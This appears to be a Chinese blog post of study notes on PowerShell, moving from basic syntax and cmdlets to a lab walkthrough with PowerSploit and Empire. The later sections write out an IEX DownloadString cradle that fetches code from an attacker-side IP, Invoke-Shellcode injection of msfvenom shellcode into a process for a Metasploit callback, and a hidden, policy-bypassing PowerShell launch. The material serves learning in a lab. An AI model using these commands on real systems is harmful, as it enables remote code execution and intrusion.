23_powershell

powershell

一、语法

powershell===>相当于强化版的cmd
语法与php相似

变量设置 和php 十分类似

在这里插入图片描述
函数也十分相似,在调用的时候不加括号
在这里插入图片描述

函数
当>10 的时候 打印 bigger than 10
否则 打印 less than or equal 10

    function judgeNum($a){
        if($a -gt 10){
            echo 'bigger than 10';
        }else{
            echo 'less than or equal 10';
        }
    };

    judgeNum 15

Windows PowerShell ISE 相当于一个编辑器吧

在这里插入图片描述
在这里插入图片描述

判断100以内的质数 并且打印
只能被1和自身整除的数字 就是质数,1不是质数

function test($a,$b){
    function isPrise($num){
        for($i=2;$i -lt $num;$i++){
            if($num % $i -eq  0){
                return 0;
            }
        }
        return 1;
    }

    for($j=$a;$j -le $b;$j++){
        if($j -eq 1){
            continue;
        }else{
            if(isPrise $j -eq 1){
                echo $j;
            }
        }
    }
}

test 1 100

在这里插入图片描述

二、ps1文件

文件名后缀为ps1的文件为powershell可运行的文件

windows 默认禁止运行脚本,与执行策略有关

Get-ExecutionPolicy 获取执行策略
1.Restricted 脚本不能执行
2.RemoteSigned:本地创建的脚本可以执行,但从网上下载的不能(有数字证书的除外)
3.AllSigned:仅当脚本由受信任的发布者签名时才能运行
4.Unrestricted:允许所有script脚本执行

Set-ExecutionPolicy 策略  设置选择使用的策略
Set-ExecutionPolicy Unrestricted

在这里插入图片描述
在这里插入图片描述

三、基础使用

1. Get-Help

Get-Help 主题 Windows PowerShell 帮助系统
加在其它命令前面,获取命令使用相关的帮助信息,类似于-h,–help这些
如果遇到不会使用的命令,直接在前面加上Get-Help,就可以知道怎么使用了

2. Get-Process

Get-Process 获取指定的进程
直接输入Get-Process就行
作用相当于ps

在这里插入图片描述
在这里插入图片描述

3. Get-Alias

Get-Alias 获取当前会话中的所有别名
Get-Alias cd

在这里插入图片描述

4. start-process

start-process 开启一个进程
start-process calc.exe
start-process C:\Windows\System32\calc.exe

在这里插入图片描述

四、powersploit

powersploit是一个模块的工具集合

模块分析:
    CodeExecution 在目标主机执行代码
    ScriptModification 在目标主机上创建或修改脚本
    Persistence 后门脚本(持久性控制)
    AntivirusBypass 发现杀软查杀特征
    Exfiltration 目标主机上的信息搜集工具
    Mayhem 蓝屏等破坏性脚本
    Recon 以目标主机为跳板进行内网信息侦查
    Privesc 跟权限提升有关的脚本

这里主要测试 CodeExecution 在目标主机执行代码

模拟测试
目标靶机win7,说是老版本的系统可以引入模块

(1) 在win7下载powersploit工具

在这里插入图片描述

(2) 进入CodeExecution代码执行里面,找到Invoke-Shellcode.ps1文件
	这个文件相当于shllcode加载器
	shellcode想要执行,必须使用加载器
	
	shellcode ===> 核心的一小段代码 该代码可以实现想要实现的功能
	payload = shellcode加载器+shellcode

在这里插入图片描述

(3) 在kali里面使用msfvenom生成一个powershell脚本,并且开启映射,使靶机可以远程加载这个文件
	脚本里面放的shellcode powershell版
	以数组的形式存储着
	而且使十六进制存储
	值赋给了变量$buf

在这里插入图片描述
在这里插入图片描述

(4) 在win7靶机,以管理员身份运行powershell,切换到CodeExecution目录下,引入模块
	Import-Module .\Invoke-Shellcode.ps1

在这里插入图片描述

(5) 引入模块之后,远程加载文件
	IEX (New-Object Net.WebClient).DownloadString('http://192.168.11.131:7979/test.txt')
	
	iex ==> Invoke-Expression  调用表达式
    相当于powershell eval  动态执行powershell指令

在这里插入图片描述
在这里插入图片描述

(6) 最后先msf开启监听
	然后执行shellcode,并注入到进程中
	之后等待msf回连
	Invoke-Shellcode -Shellcode @($buf) -ProcessId 后面跟pid

在这里插入图片描述
原则上是一个一个程序试,就拿calc.exe举例,注入之后,容易使原程序崩溃,并且msf那么没有产生回连

在这里插入图片描述
在这里插入图片描述
这里我试出了可以会连的程序,需要打开IE浏览器,最后成功回连
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、empire

docker run -it -p 1337:1337 -p 5000:5000 -p 12346:12346 bcsecurity/empire:latest

docker exec -it 0c2bffd03ddd ./ps-empire client

python3 -m http.server 8787


PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden –NoLogo –NonInteractive –NoProfile .\1.ps1
                                                                        
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值